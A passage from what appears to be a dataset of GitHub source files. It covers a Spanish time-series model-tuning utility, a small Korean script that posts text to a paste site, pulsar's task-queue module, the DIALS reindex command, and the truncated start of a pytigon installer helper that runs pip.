(0.1, 1.9),\n\t\t\t\t\t'batch_size': (20, 100),\n\t\t\t\t\t'drop_p': (0, 0.75),\n\t\t\t\t\t'n_dense': (0, 3),\n\t\t\t\t\t'n_epochs': (10, 200),\n\t\t\t\t\t'n_hidden': (5, 300),\n\t\t\t\t\t'n_lags': (1, (min(30, int(len(values)/2)))),\n\t\t\t\t\t'n_rnn': (0, 3)}\n\t\telif(n_series > 1):\n\t\t\t# space = {'activation': (0.1, 1.9),\n\t\t\t# \t\t'batch_size': (20, 100),\n\t\t\t# \t\t'drop_p': (0, 0.3),\n\t\t\t# \t\t'n_dense': (0, 3),\n\t\t\t# \t\t'n_epochs': (250, 500),\n\t\t\t# \t\t'n_hidden': (50, 300),\n\t\t\t# \t\t'n_lags': (2, (min(30, int(len(values)/2)))),\n\t\t\t# \t\t'n_rnn': (1, 3)}\n\t\t\tspace = {'activation': (0.1, 1.9),\n\t\t\t\t\t'batch_size': (20, 100),\n\t\t\t\t\t'drop_p': (0, 0.8),\n\t\t\t\t\t'n_dense': (0, 3),\n\t\t\t\t\t'n_epochs': (50, 500),\n\t\t\t\t\t'n_hidden': (25, 300),\n\t\t\t\t\t'n_lags': (2, (min(30, int(len(values)/2)))),\n\t\t\t\t\t'n_rnn': (0, 3)}\n\t\tfunc = lambda activation, batch_size, drop_p, n_dense, n_epochs, n_hidden, n_lags, n_rnn: objective({'activation':activation , 'batch_size':batch_size, 'drop_p':drop_p, 'n_dense':n_dense, 'n_epochs':n_epochs, 'n_hidden':n_hidden, 'n_lags':n_lags, 'n_rnn':n_rnn}, id_model, values, scaler, n_features, n_series, verbosity, model_file_name, MAX_EVALS, returns)\n\telif(id_model == 1):\n\t\tspace = {'max_features': (1, n_features),\n\t\t\t\t'min_samples': (1, 20),\n\t\t\t\t'n_estimators': (10, 1000),\n\t\t\t\t'n_lags': (1, min(50, int(len(values)/2)))}\n\t\tfunc = lambda max_features, min_samples, n_estimators, n_lags: objective({'max_features': max_features, 'min_samples': min_samples, 'n_estimators': n_estimators, 'n_lags': n_lags}, id_model, values, scaler, n_features, n_series, verbosity, model_file_name, MAX_EVALS, returns)\n\telif(id_model == 2):\n\t\tspace = {'lr': (0.00001, 1.0),\n\t\t\t\t'max_depth': (2, 10),\n\t\t\t\t'n_estimators': (10, 1000),\n\t\t\t\t'n_lags': (1, min(50, int(len(values)/2)))}\n\t\tfunc = lambda lr, max_depth, n_estimators, n_lags: objective({'lr':lr, 'max_depth': max_depth, 'n_estimators': n_estimators, 'n_lags': n_lags}, id_model, values, scaler, n_features, n_series, verbosity, model_file_name, MAX_EVALS, returns)\n\telif(id_model == 3):\n\t\tspace = {'n_lags': (1, min(50, int(len(values)/2)))}\n\t\tfunc = lambda  n_lags: objective({'n_lags': n_lags}, id_model, values, scaler, n_features, n_series, verbosity, model_file_name, MAX_EVALS, returns)\n\telif(id_model == 4):\n\t\tdiff_level = calculate_diff_level_for_stationarity(values, scaler, 5)\n\t\tspace={'n_lags': (1, 12),\n\t\t\t\t'q': (1, 12)}\n\t\tfunc = lambda  n_lags, q: objective({'d': diff_level, 'n_lags': n_lags, 'q': q}, id_model, values, scaler, n_features, n_series, verbosity, model_file_name, MAX_EVALS, returns)\n\n\t# File to save results\n\tout_file = 'trials/gbm_trials_' + ID_TO_MODELNAME[id_model] + '_' + str(MAX_EVALS) + '.csv'\n\tof_connection = open(out_file, 'w')\n\twriter = csv.writer(of_connection)\n\n\t# Write the headers to the file\n\twriter.writerow(['id_model: ' + str(id_model), 'original: ' + str(original), 'returns: ' + str(returns), 'time_steps: ' + str(n_series)])\n\twriter.writerow(['rmse', 'params', 'iteration', 'train_time'])\n\tof_connection.close()\n\n\toptimizer = BayesianOptimization(f=func, pbounds=space, verbose=2, random_state=np.random.randint(np.random.randint(100)))\n\tif(id_model == 0):\n\t\t#optimizer.probe(params={'activation':1.0, 'batch_size':10.0, 'drop_p':0.0, 'n_dense':0.0, 'n_epochs':300.0, 'n_hidden':50.0, 'n_lags':10.0, 'n_rnn':0.0})\n\t\t#optimizer.probe(params={'activation':1.0, 'batch_size':81.0, 'drop_p':0.0, 'n_dense':0.0, 'n_epochs':200.0, 'n_hidden':250.0, 'n_lags':15.0, 'n_rnn':0.0})\n\t\t#optimizer.probe(params={'activation':1.0, 'batch_size':81.0, 'drop_p':0.0, 'n_dense':0.0, 'n_epochs':200.0, 'n_hidden':269.0, 'n_lags':9.0, 'n_rnn':0.0})\n\t\t#optimizer.probe(params={'activation':1.0, 'batch_size':81.0, 'drop_p':0.0, 'n_dense':0.0, 'n_epochs':200.0, 'n_hidden':269.0, 'n_lags':25.0, 'n_rnn':0.0})\n\t\toptimizer.probe(params={'activation':0.0, 'batch_size':47.0, 'drop_p':0.069, 'n_dense':0.0, 'n_epochs':382.0, 'n_hidden':130.0, 'n_lags':5.0, 'n_rnn':1.0})\n\t\toptimizer.probe(params={'activation':0.0, 'batch_size':47.0, 'drop_p':0.3, 'n_dense':0.0, 'n_epochs':382.0, 'n_hidden':130.0, 'n_lags':5.0, 'n_rnn':1.0})\n\t\toptimizer.probe(params={'activation':0.0, 'batch_size':47.0, 'drop_p':0.5, 'n_dense':0.0, 'n_epochs':382.0, 'n_hidden':130.0, 'n_lags':5.0, 'n_rnn':1.0})\n\toptimizer.maximize(init_points=10, n_iter=MAX_EVALS, acq='ucb', kappa=5, alpha=1e-3)\n\n\n\t# store best results\n\tbest = optimizer.max['params']\n\tof_connection = open('trials/bests.txt', 'a')\n\twriter = csv.writer(of_connection)\n\tif(id_model == 0):\n\t\twriter.writerow([optimizer.max['target'], best['activation'], best['batch_size'], best['drop_p'], best['n_dense'], best['n_epochs'], best['n_hidden'], best['n_lags'], best['n_rnn'], MAX_EVALS])\n\telif(id_model == 1):\n\t\twriter.writerow([optimizer.max['target'], best['n_lags'], best['n_estimators'], best['max_features'], best['min_samples'], MAX_EVALS])\n\telif(id_model == 2):\n\t\twriter.writerow([optimizer.max['target'], best['n_lags'], best['n_estimators'], best['lr'], best['max_depth'], MAX_EVALS])\n\telif(id_model == 3):\n\t\twriter.writerow([optimizer.max['target'], best['n_lags'], MAX_EVALS])\n\telif(id_model == 4):\n\t\tbest.update({'d': diff_level})\n\t\twriter.writerow([optimizer.max['target'], best['d'], best['n_lags'], best['q'], MAX_EVALS])\n\tof_connection.close()\n\n\treturn best\n\n\n\n\ndef get_direction_accuracy(y, y_hat):\n\t\"\"\"\n\t\tFunción para calcular el % de aciertos en la dirección, teniendo en cuenta las observaciones y las predicciones.\n\t\tPor dirección se entiende que si en la observación el valor sube, en la predicción también igualmente si baja.\n\n\t\tParámetros:\n\t\t- y -- Arreglo de numpy, las observaciones\n\t\t- y_hat -- Arreglo de numpy, las predicciones\n\n\t\tRetorna:\n\t\t- [valor] -- % de aciertos en la dirección (valor entre 0 y 1)\n\t\"\"\"\n\tassert len(y) == len(y_hat)\n\ty_dirs = [1 if y[i] < y[i+1] else 0 for i in range(len(y) - 1)]\n\ty_hat_dirs = [1 if y_hat[i] < y_hat[i+1] else 0 for i in range(len(y_hat) - 1)]\n\treturn sum(np.array(y_dirs) == np.array(y_hat_dirs))/len(y)\n\ndef get_returns_direction_accuracy(y, y_hat):\n\t\"\"\"\n\t\tFunción para calcular el % de aciertos en la dirección de retornos, teniendo en cuenta las observaciones y las predicciones.\n\t\tPor dirección se entiende que si en la observación el valor sube, en la predicción también lo haga. De igual forma en el caso de que baje.\n\n\t\tParámetros:\n\t\t- y -- Arreglo de numpy, las observaciones\n\t\t- y_hat -- Arreglo de numpy, las predicciones\n\n\t\tRetorna:\n\t\t- [valor] -- % de aciertos en la dirección (valor entre 0 y 1)\n\t\"\"\"\n\tassert len(y) == len(y_hat)\n\ty_dirs = [1 if y[i]>0 else 0 for i in range(len(y))]\n\ty_hat_dirs = [1 if y_hat[i]>0 else 0 for i in range(len(y_hat))]\n\treturn sum(np.array(y_dirs) == np.array(y_hat_dirs))/len(y)\n\ndef get_returns_values_direction_accuracy(values, returns):\n\t\"\"\"\n\t\tFunción para calcular el % de aciertos en la dirección de retornos teniendo una serie en valores y otra en retornos, teniendo en cuenta las observaciones y las predicciones.\n\t\tPor dirección se entiende que si en la observación el valor sube, en la predicción también lo haga. De igual forma en el caso de que baje.\n\n\t\tParámetros:\n\t\t- values -- Arreglo de numpy, serie de valores\n\t\t- returns -- Arreglo de numpy, serie de retornos\n\t\tRetorna:\n\t\t- [valor] -- % de aciertos en la dirección (valor entre 0 y 1)\n\t\"\"\"\n\tassert len(values) == len(returns) + 1\n\tvalues_dirs = [1 if values[i] < values[i+1] else 0 for i in range(len(values) - 1)]\n\treturns_dirs = [1 if returns[i]>0 else 0 for i in range(len(returns))]\n\treturn sum(np.array(values_dirs) == np.array(returns_dirs))/len(returns)\n\ndef calculate_rmse(y, y_hat):\n\t\"\"\"\n\t\tFunción que calcula el rmse (raíz del error medio cuadrático) entre dos arreglos de datos\n\n\t\tParámetros:\n\t\t- y -- Arreglo de numpy | Lista, serie de observaciones o valores reales\n\t\t- y_hat -- Arreglo de numpy | Lista, serie de predicciones \n\t\"\"\"\n\tassert len(y) == len(y_hat)\n\tfrom sklearn.metrics import mean_squared_error\n\treturn np.sqrt(mean_squared_error(y, y_hat))\n\n\n","repo_name":"camilo912/prediccionRetornosSUAM","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":25969,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"34515261684","text":"import requests\nimport re\n\ntitle = input(\"제목 : \")\ntext = input(\"내용 : \")\n\nresponse = requests.post(\n    \"https://controlc.com/index.php?\",\n    params={\n        \"act\" : \"submit\"\n    },\n    data={\n        \"subdomain\": \"\",\n        \"antispam\": \"1\",\n        \"website\": \"\",\n        \"paste_title\": title,\n        \"input_text\": text,\n        \"timestamp\": \"1503c4774cf81847fce13669ff49bc90\",\n        \"paste_password\": \"\",\n        \"code\": \"0\",\n    },\n    headers={\n        \"referer\": \"https://controlc.com/\",\n    }\n)\n\nprint(response.text)\n\nwith open(\n    \"C:/Users/user/Desktop/2022-09-14/test.html\", \n    'w', \n    encoding='UTF-8'\n) as f:\n    f.write(response.text)","repo_name":"cheongpark/LearnPython","sub_path":"2022-09-14/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":664,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"38218711075","text":"'''To get started, follow these guidelines:\r\n\r\n* Create a script which runs your application, in the\r\n  :ref:`taskqueue tutorial <tutorials-taskqueue>` the script is called\r\n  ``manage.py``.\r\n* Create the modules where :ref:`jobs <app-taskqueue-job>` are implemented. It\r\n  can be a directory containing several submodules as explained in the\r\n  :ref:`task paths parameter <app-tasks_path>`.\r\n* Run your script, sit back and relax.\r\n\r\n.. _app-taskqueue-config:\r\n\r\nConfiguration\r\n~~~~~~~~~~~~~~~~\r\nA :class:`TaskQueue` accepts several configuration parameters on top of the\r\nstandard :ref:`application settings <settings>`:\r\n\r\n.. _app-tasks_path:\r\n\r\n* The :ref:`task_paths <setting-task_paths>` parameter specifies\r\n  a list of python paths where to collect :class:`.Job` classes::\r\n\r\n      task_paths = ['myjobs','another.moduledir.*']\r\n\r\n  The ``*`` at the end of the second module indicates to collect\r\n  :class:`.Job` from all submodules of ``another.moduledir``.\r\n\r\n* The :ref:`schedule_periodic <setting-schedule_periodic>` flag indicates\r\n  if the :class:`TaskQueue` can schedule :class:`.PeriodicJob`. Usually,\r\n  only one running :class:`TaskQueue` application is responsible for\r\n  scheduling tasks.\r\n\r\n  It can be specified in the command line via the\r\n  ``--schedule-periodic`` flag.\r\n\r\n  Default: ``False``.\r\n\r\n* The :ref:`task_backend <setting-task_backend>` parameter is a url\r\n  type string which specifies the :ref:`task backend <apps-taskqueue-backend>`\r\n  to use.\r\n\r\n  It can be specified in the command line via the\r\n  ``--task-backend ...`` option.\r\n\r\n  Default: ``local://``.\r\n\r\n* The :ref:`concurrent_tasks <setting-concurrent_tasks>` parameter controls\r\n  the maximum number of concurrent tasks for a given task worker.\r\n  This parameter is important when tasks are asynchronous, that is when\r\n  they perform some sort of I/O and the :ref:`job callable <job-callable>`\r\n  returns and :ref:`asynchronous component <tutorials-coroutine>`.\r\n\r\n  It can be specified in the command line via the\r\n  ``--concurrent-tasks ...`` option.\r\n\r\n  Default: ``5``.\r\n\r\n.. _celery: http://celeryproject.org/\r\n'''\r\nimport time\r\n\r\nimport pulsar\r\nfrom pulsar import command\r\nfrom pulsar.utils.config import section_docs\r\nfrom pulsar.apps.data import (start_store, create_store,\r\n                              DEFAULT_PULSAR_STORE_ADDRESS)\r\n\r\nfrom .models import *\r\nfrom .backend import *\r\nfrom .rpc import *\r\nfrom .states import *\r\n\r\n\r\nDEFAULT_TASK_BACKEND = 'pulsar://%s/1' % DEFAULT_PULSAR_STORE_ADDRESS\r\n\r\nsection_docs['Task Consumer'] = '''\r\nThis section covers configuration parameters used by CPU bound type\r\napplications such as the :ref:`distributed task queue <apps-taskqueue>` and\r\nthe :ref:`test suite <apps-test>`.'''\r\n\r\n\r\nclass TaskSetting(pulsar.Setting):\r\n    virtual = True\r\n    app = 'tasks'\r\n    section = \"Task Consumer\"\r\n\r\n\r\nclass ConcurrentTasks(TaskSetting):\r\n    name = \"concurrent_tasks\"\r\n    flags = [\"--concurrent-tasks\"]\r\n    validator = pulsar.validate_pos_int\r\n    type = int\r\n    default = 5\r\n    desc = \"\"\"\\\r\n        The maximum number of concurrent tasks for a worker.\r\n\r\n        When a task worker reach this number it stops polling for more tasks\r\n        until one or more task finish. It should only affect task queues under\r\n        significant load.\r\n        Must be a positive integer. Generally set in the range of 5-10.\r\n        \"\"\"\r\n\r\n\r\nclass TaskBackendConnection(TaskSetting):\r\n    name = \"task_backend\"\r\n    flags = [\"--task-backend\"]\r\n    default = \"\"\r\n    meta = 'CONNECTION_STRING'\r\n    desc = '''\\\r\n        Connection string for the backend storing :class:`.Task`.\r\n\r\n        If the value is not available (default) it uses as fallback the\r\n        :ref:`data_store <setting-data_store>` value. If still not\r\n        set, it uses the ``%s`` value.\r\n        ''' % DEFAULT_TASK_BACKEND\r\n\r\n\r\nclass TaskPaths(TaskSetting):\r\n    name = \"task_paths\"\r\n    validator = pulsar.validate_list\r\n    default = []\r\n    desc = \"\"\"\\\r\n        List of python dotted paths where tasks are located.\r\n\r\n        This parameter can only be specified during initialization or in a\r\n        :ref:`config file <setting-config>`.\r\n        \"\"\"\r\n\r\n\r\nclass SchedulePeriodic(TaskSetting):\r\n    name = 'schedule_periodic'\r\n    flags = [\"--schedule-periodic\"]\r\n    validator = pulsar.validate_bool\r\n    action = \"store_true\"\r\n    default = False\r\n    desc = '''\\\r\n        Enable scheduling of periodic tasks.\r\n\r\n        If enabled, :class:`.PeriodicJob` will produce\r\n        tasks according to their schedule.\r\n        '''\r\n\r\n\r\nclass TaskQueue(pulsar.Application):\r\n    '''A pulsar :class:`.Application` for consuming :class:`.Task`.\r\n\r\n    This application can also schedule periodic tasks when the\r\n    :ref:`schedule_periodic <setting-schedule_periodic>` flag is ``True``.\r\n    '''\r\n    backend = None\r\n    '''The :class:`.TaskBackend` for this task queue.\r\n\r\n    Available once the :class:`.TaskQueue` has started.\r\n    '''\r\n    name = 'tasks'\r\n    cfg = pulsar.Config(apps=('tasks',), timeout=600)\r\n\r\n    def monitor_start(self, monitor):\r\n        '''Starts running the task queue in ``monitor``.\r\n\r\n        It calls the :attr:`.Application.callable` (if available)\r\n        and create the :attr:`~.TaskQueue.backend`.\r\n        '''\r\n        if self.cfg.callable:\r\n            self.cfg.callable()\r\n        connection_string = (self.cfg.task_backend or self.cfg.data_store or\r\n                             DEFAULT_TASK_BACKEND)\r\n        store = yield start_store(connection_string, loop=monitor._loop)\r\n        self.get_backend(store)\r\n\r\n    def monitor_task(self, monitor):\r\n        '''Override the :meth:`~.Application.monitor_task` callback.\r\n\r\n        Check if the :attr:`~.TaskQueue.backend` needs to schedule new tasks.\r\n        '''\r\n        if self.backend and monitor.is_running():\r\n            if self.backend.next_run <= time.time():\r\n                self.backend.tick()\r\n\r\n    def monitor_stopping(self, monitor, exc=None):\r\n        if self.backend:\r\n            self.backend.close()\r\n\r\n    def worker_start(self, worker, exc=None):\r\n        if not exc:\r\n            self.get_backend().start(worker)\r\n\r\n    def worker_stopping(self, worker, exc=None):\r\n        if self.backend:\r\n            self.backend.close()\r\n\r\n    def actorparams(self, monitor, params):\r\n        # makes sure workers are only consuming tasks, not scheduling.\r\n        cfg = params['cfg']\r\n        cfg.set('schedule_periodic', False)\r\n\r\n    def worker_info(self, worker, info=None):\r\n        be = self.backend\r\n        if be:\r\n            tasks = {'concurrent': list(be.concurrent_tasks),\r\n                     'processed': be.processed}\r\n            info['tasks'] = tasks\r\n\r\n    def get_backend(self, store=None):\r\n        if self.backend is None:\r\n            if store is None:\r\n                store = create_store(self.cfg.task_backend)\r\n            else:\r\n                self.cfg.set('task_backend', store.dns)\r\n            task_backend = task_backends.get(store.name)\r\n            if not task_backend:\r\n                raise pulsar.ImproperlyConfigured(\r\n                    'Task backend for %s not available' % store.name)\r\n            self.backend = task_backend(\r\n                store,\r\n                logger=self.logger,\r\n                name=self.name,\r\n                task_paths=self.cfg.task_paths,\r\n                schedule_periodic=self.cfg.schedule_periodic,\r\n                max_tasks=self.cfg.max_requests,\r\n                backlog=self.cfg.concurrent_tasks)\r\n            self.logger.debug('created %s', self.backend)\r\n        return self.backend\r\n\r\n\r\n@command()\r\ndef next_scheduled(request, jobnames=None):\r\n    actor = request.actor\r\n    return actor.app.backend.next_scheduled(jobnames)\r\n","repo_name":"codenamesubho/dyno-chat","sub_path":"kickchat/apps/pulsar/apps/tasks/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":7718,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"15540219572","text":"# DIALS_ENABLE_COMMAND_LINE_COMPLETION\n\n\nfrom __future__ import annotations\n\nimport logging\nimport os\nimport sys\n\nimport numpy as np\n\nimport iotbx.phil\nfrom cctbx import sgtbx\nfrom libtbx import Auto\n\nimport dials.util\nfrom dials.algorithms.indexing.assign_indices import AssignIndicesGlobal\nfrom dials.algorithms.scaling.scaling_library import determine_best_unit_cell\nfrom dials.array_family import flex\nfrom dials.util import Sorry, log\nfrom dials.util.filter_reflections import filtered_arrays_from_experiments_reflections\nfrom dials.util.options import ArgumentParser, reflections_and_experiments_from_files\nfrom dials.util.reference import intensities_from_reference_file\nfrom dials.util.reindex import (\n    change_of_basis_op_against_reference,\n    derive_change_of_basis_op,\n    reindex_experiments,\n    reindex_reflections,\n)\nfrom dials.util.version import dials_version\n\nlogger = logging.getLogger(\"dials.command_line.reindex\")\n\nhelp_message = \"\"\"\n\nThis program can be used to re-index an indexed.expt and/or indexed.refl\nfile from one setting to another. The change of basis operator can be\nprovided in h,k,l, or a,b,c or x,y,z conventions. By default the change of\nbasis operator will also be applied to the space group in the indexed.expt\nfile, however, optionally, a space group (including setting) to be applied\nAFTER applying the change of basis operator can be provided.\nAlternatively, to reindex an integated dataset in the case of indexing ambiguity,\na reference dataset (models.expt and reflection.refl) in the same space\ngroup can be specified. In this case, any potential twin operators are tested,\nand the dataset is reindexed to the setting that gives the highest correlation\nwith the reference dataset.\n\nExamples::\n\n  dials.reindex indexed.expt change_of_basis_op=b+c,a+c,a+b\n\n  dials.reindex indexed.refl change_of_basis_op=-b,a+b+2*c,-a\n\n  dials.reindex indexed.expt indexed.refl change_of_basis_op=l,h,k\n\n  dials.reindex indexed.expt indexed.refl reference.experiments=reference.expt\n    reference.reflections=reference.refl\n\"\"\"\n\nphil_scope = iotbx.phil.parse(\n    \"\"\"\nchange_of_basis_op = a,b,c\n  .type = str\nhkl_offset = None\n  .type = ints(size=3)\nspace_group = None\n  .type = space_group\n  .help = \"The space group to be applied AFTER applying the change of basis \"\n           \"operator.\"\nreference {\n  experiments = None\n    .type = path\n    .help = \"Reference experiment for determination of change of basis operator.\"\n  reflections = None\n    .type = path\n    .help = \"Reference reflections to allow reindexing to consistent index between datasets.\"\n  file = None\n    .type = path\n    .help = \"A file containing a reference set of intensities e.g. MTZ/cif, or a\"\n            \"file from which a reference set of intensities can be calculated\"\n            \"e.g. .pdb or .cif . The space group of the reference file will\"\n            \"be used and if an indexing ambiguity is present, the input\"\n            \"data will be reindexed to be consistent with the indexing mode of\"\n            \"this reference file.\"\n    .expert_level = 2\n  include scope dials.util.reference.reference_phil_str\n}\noutput {\n  experiments = reindexed.expt\n    .type = str\n    .help = \"The filename for reindexed experimental models\"\n\n  reflections = reindexed.refl\n    .type = str\n    .help = \"The filename for reindexed reflections\"\n  log = dials.reindex.log\n    .type = path\n}\n\"\"\",\n    process_includes=True,\n)\n\n\n@dials.util.show_mail_handle_errors()\ndef run(args=None):\n\n    usage = \"dials.reindex [options] indexed.expt indexed.refl\"\n\n    parser = ArgumentParser(\n        usage=usage,\n        phil=phil_scope,\n        read_reflections=True,\n        read_experiments=True,\n        check_format=False,\n        epilog=help_message,\n    )\n\n    params, options = parser.parse_args(args, show_diff_phil=False)\n\n    log.config(verbosity=options.verbose, logfile=params.output.log)\n\n    logger.info(dials_version())\n\n    diff_phil = parser.diff_phil.as_str()\n    if diff_phil != \"\":\n        logger.info(\"The following parameters have been modified:\\n\")\n        logger.info(diff_phil)\n\n    reflections, experiments = reflections_and_experiments_from_files(\n        params.input.reflections, params.input.experiments\n    )\n    if len(experiments) == 0 and len(reflections) == 0:\n        parser.print_help()\n        return\n    if params.change_of_basis_op is None:\n        raise Sorry(\"Please provide a change_of_basis_op.\")\n\n    reference_crystal = None\n    if params.reference.experiments is not None:\n        from dxtbx.serialize import load\n\n        reference_experiments = load.experiment_list(\n            params.reference.experiments, check_format=False\n        )\n        if len(reference_experiments.crystals()) == 1:\n            reference_crystal = reference_experiments.crystals()[0]\n        else:\n            # first check sg all same\n            sgs = [\n                expt.crystal.get_space_group().type().number() for expt in experiments\n            ]\n            if len(set(sgs)) > 1:\n                raise Sorry(\n                    \"\"\"The reference experiments have different space groups:\n                    space group numbers found: %s\n                    Please reanalyse the data so that space groups are consistent,\n                    (consider using dials.reindex, dials.symmetry or dials.cosym)\"\"\"\n                    % \", \".join(map(str, set(sgs)))\n                )\n\n            reference_crystal = reference_experiments.crystals()[0]\n            reference_crystal.unit_cell = determine_best_unit_cell(\n                reference_experiments\n            )\n\n    if params.reference.reflections is not None:\n        # First check that we have everything as expected for the reference reindexing\n        if params.reference.experiments is None:\n            raise Sorry(\n                \"\"\"For reindexing against a reference dataset, a reference\nexperiments file must also be specified with the option: reference.experiments= \"\"\"\n            )\n        if not os.path.exists(params.reference.reflections):\n            raise Sorry(\"Could not locate reference dataset reflection file\")\n\n        reference_reflections = flex.reflection_table().from_file(\n            params.reference.reflections\n        )\n        if (\n            reference_reflections.get_flags(\n                reference_reflections.flags.integrated_sum\n            ).count(True)\n            == 0\n        ):\n            assert (\n                \"intensity.sum.value\" in reference_reflections\n            ), \"No 'intensity.sum.value in reference reflections\"\n            reference_reflections.set_flags(\n                flex.bool(reference_reflections.size(), True),\n                reference_reflections.flags.integrated_sum,\n            )\n        if (\n            reference_crystal.get_space_group().type().number()\n            != experiments.crystals()[0].get_space_group().type().number()\n        ):\n            raise Sorry(\"Space group of input does not match reference\")\n        try:\n            reference_miller_set = filtered_arrays_from_experiments_reflections(\n                reference_experiments, [reference_reflections]\n            )[0]\n        except ValueError:\n            raise Sorry(\"No reflections remain after filtering the reference dataset\")\n\n        try:\n            change_of_basis_op = change_of_basis_op_against_reference(\n                experiments, reflections, reference_miller_set\n            )\n        except ValueError:\n            raise Sorry(\"No reflections remain after filtering the test dataset\")\n\n    elif params.reference.file:\n\n        wavelength = np.mean([expt.beam.get_wavelength() for expt in experiments])\n\n        reference_miller_set = intensities_from_reference_file(\n            params.reference.file, wavelength=wavelength\n        )\n        change_of_basis_op = change_of_basis_op_against_reference(\n            experiments, reflections, reference_miller_set\n        )\n\n    elif len(experiments) and params.change_of_basis_op is Auto:\n        if reference_crystal is not None:\n            if len(experiments.crystals()) > 1:\n                raise Sorry(\"Only one crystal can be processed at a time\")\n            from dials.algorithms.indexing.compare_orientation_matrices import (\n                difference_rotation_matrix_axis_angle,\n            )\n\n            cryst = experiments.crystals()[0]\n            R, axis, angle, change_of_basis_op = difference_rotation_matrix_axis_angle(\n                cryst, reference_crystal\n            )\n            Rfmt = R.mathematica_form(format=\"%.3f\", one_row_per_line=True)\n            logger.info(\n                \"\\n\".join(\n                    [\n                        f\"Change of basis op: {change_of_basis_op}\",\n                        \"Rotation matrix to transform input crystal to reference::\",\n                        f\"{Rfmt}\",\n                        f\"Rotation of {angle:.3f} degrees\",\n                        f\"about axis ({axis[0]:.3f}, {axis[1]:.3f}, {axis[2]:.3f})\",\n                    ]\n                )\n            )\n\n        elif len(reflections):\n            assert len(reflections) == 1\n\n            # always re-map reflections to reciprocal space\n            refl = reflections[0].deep_copy()\n            refl.centroid_px_to_mm(experiments)\n            refl.map_centroids_to_reciprocal_space(experiments)\n\n            # index the reflection list using the input experiments list\n            refl[\"id\"] = flex.int(len(refl), -1)\n            index = AssignIndicesGlobal(tolerance=0.2)\n            index(refl, experiments)\n            hkl_expt = refl[\"miller_index\"]\n            hkl_input = reflections[0][\"miller_index\"]\n\n            change_of_basis_op = derive_change_of_basis_op(hkl_input, hkl_expt)\n\n            # reset experiments list since we don't want to reindex this\n            experiments = []\n\n    else:\n        change_of_basis_op = sgtbx.change_of_basis_op(params.change_of_basis_op)\n\n    if len(experiments):\n        space_group = params.space_group\n        if space_group is not None:\n            space_group = space_group.group()\n        try:\n            experiments = reindex_experiments(\n                experiments, change_of_basis_op, space_group=space_group\n            )\n        except RuntimeError as e:\n            # Only catch specific errors here\n            if \"Unsuitable value for rational rotation matrix.\" in str(e):\n                original_message = str(e).split(\":\")[-1].strip()\n                sys.exit(f\"Error: {original_message} Is your change_of_basis_op valid?\")\n            elif \"DXTBX_ASSERT(detail::is_r3_rotation_matrix(U)) failure\" in str(e):\n                sys.exit(\n                    \"Error: U is not a rotation matrix. Is your change_of_basis_op valid?\"\n                )\n            raise\n\n        logger.info(\n            f\"Saving reindexed experimental models to {params.output.experiments}\"\n        )\n        experiments.as_file(params.output.experiments)\n\n    if len(reflections):\n        reflections = reindex_reflections(\n            reflections, change_of_basis_op, params.hkl_offset\n        )\n\n        logger.info(f\"Saving reindexed reflections to {params.output.reflections}\")\n        reflections.as_file(params.output.reflections)\n\n\nif __name__ == \"__main__\":\n    run()\n","repo_name":"dials/dials","sub_path":"src/dials/command_line/reindex.py","file_name":"reindex.py","file_ext":"py","file_size_in_byte":11235,"program_lang":"python","lang":"en","doc_type":"code","stars":60,"dataset":"github-code","pt":"35"}
{"seq_id":"37732200365","text":"import os\nimport sys\nfrom pytigon_lib.schfs import extractall\nimport zipfile\nfrom distutils.dir_util import copy_tree\nimport configparser\nfrom pytigon_lib.schtools.process import py_manage\nfrom pytigon_lib.schtools.cc import make\nfrom pytigon_lib.schtools.process import py_run\n\n\ndef _mkdir(path, ext=None):\n    if ext:\n        p = os.path.join(path, ext)\n    else:\n        p = path\n    if not os.path.exists(p):\n        try:\n            os.mkdir(p)\n        except:\n            pass\n\n\ndef upgrade_test(zip_path, out_path):\n    if os.path.exists(zip_path):\n        archive = zipfile.ZipFile(zip_path, \"r\")\n        cfg_txt = archive.read(\"install.ini\").decode(\"utf-8\")\n        cfg = configparser.ConfigParser()\n        cfg.read_string(cfg_txt)\n        t1 = cfg[\"DEFAULT\"][\"GEN_TIME\"]\n        ini2 = os.path.join(out_path, \"install.ini\")\n        if os.path.exists(ini2):\n            cfg2 = configparser.ConfigParser()\n            cfg2.read(ini2)\n            t2 = cfg2[\"DEFAULT\"][\"GEN_TIME\"]\n            if t2 < t1:\n                return True\n    return False\n\n\ndef pip_install(pip_str, prjlib, confirm=False, upgrade=False):\n    packages = [x.strip() for x in pip_str.split(\" \") if x]\n    print(\"pip install: \", pip_str)\n    exit_code, output_tab, err_tab = py_run(\n        [\n            \"-m\",\n            \"pip\",\n            \"--disable-pip-version-check\",\n            \"install\",\n            f\"--target={prjlib}\",\n        ]\n        + (\n            [\n                \"--upgrade\",\n            ]\n            if upgrade\n            else []\n        )\n        + packages\n    )\n    success = False\n    if output_tab:\n        for pos in output_tab:\n            if pos:\n                print(\"pip info: \", pos)\n            if \"Successfully installed\" in pos:\n                success = True\n    if err_tab:\n        for pos in err_tab:\n            if pos:\n                print(\"pip error: \", pos)\n\n    if success and confirm:\n        with open(os.path.join(prjlib, \"install.txt\"), \"wt\") as f:\n            f.write(\"OK\")\n\n\ndef upgrade_local_libs():\n    from django.conf import settings\n\n    prjlib = os.path.join(settings.DATA_PATH, settings.PRJ_NAME, \"prjlib\")\n    config_file = os.path.join(settings.PRJ_PATH, settings.PRJ_NAME, \"install.ini\")\n    if os.path.exists(config_file):\n        config = configparser.ConfigParser()\n        config.read(config_file)\n        if \"DEFAULT\" in config:\n            pip_str = config[\"DEFAULT\"].get(\"PIP\", \"\")\n            if pip_str:\n                pip_install(pip_str, prjlib, confirm=True, upgrade=True)\n\n\ndef init(prj, root_path, data_path, prj_path, static_app_path, paths=None):\n    if prj == \"_schall\":\n        return\n    _root_path = os.path.normpath(root_path)\n    _data_path = os.path.normpath(data_path)\n    _prj_path = os.path.normpath(prj_path)\n    _static_app_path = os.path.normpath(static_app_path)\n    _base_compiler_path = os.path.join(_data_path, \"ext_prg\")\n    test1 = 0 if os.path.exists(_prj_path) else 1\n    test2 = 0 if os.path.exists(_data_path) else 1\n    test3 = 0 if 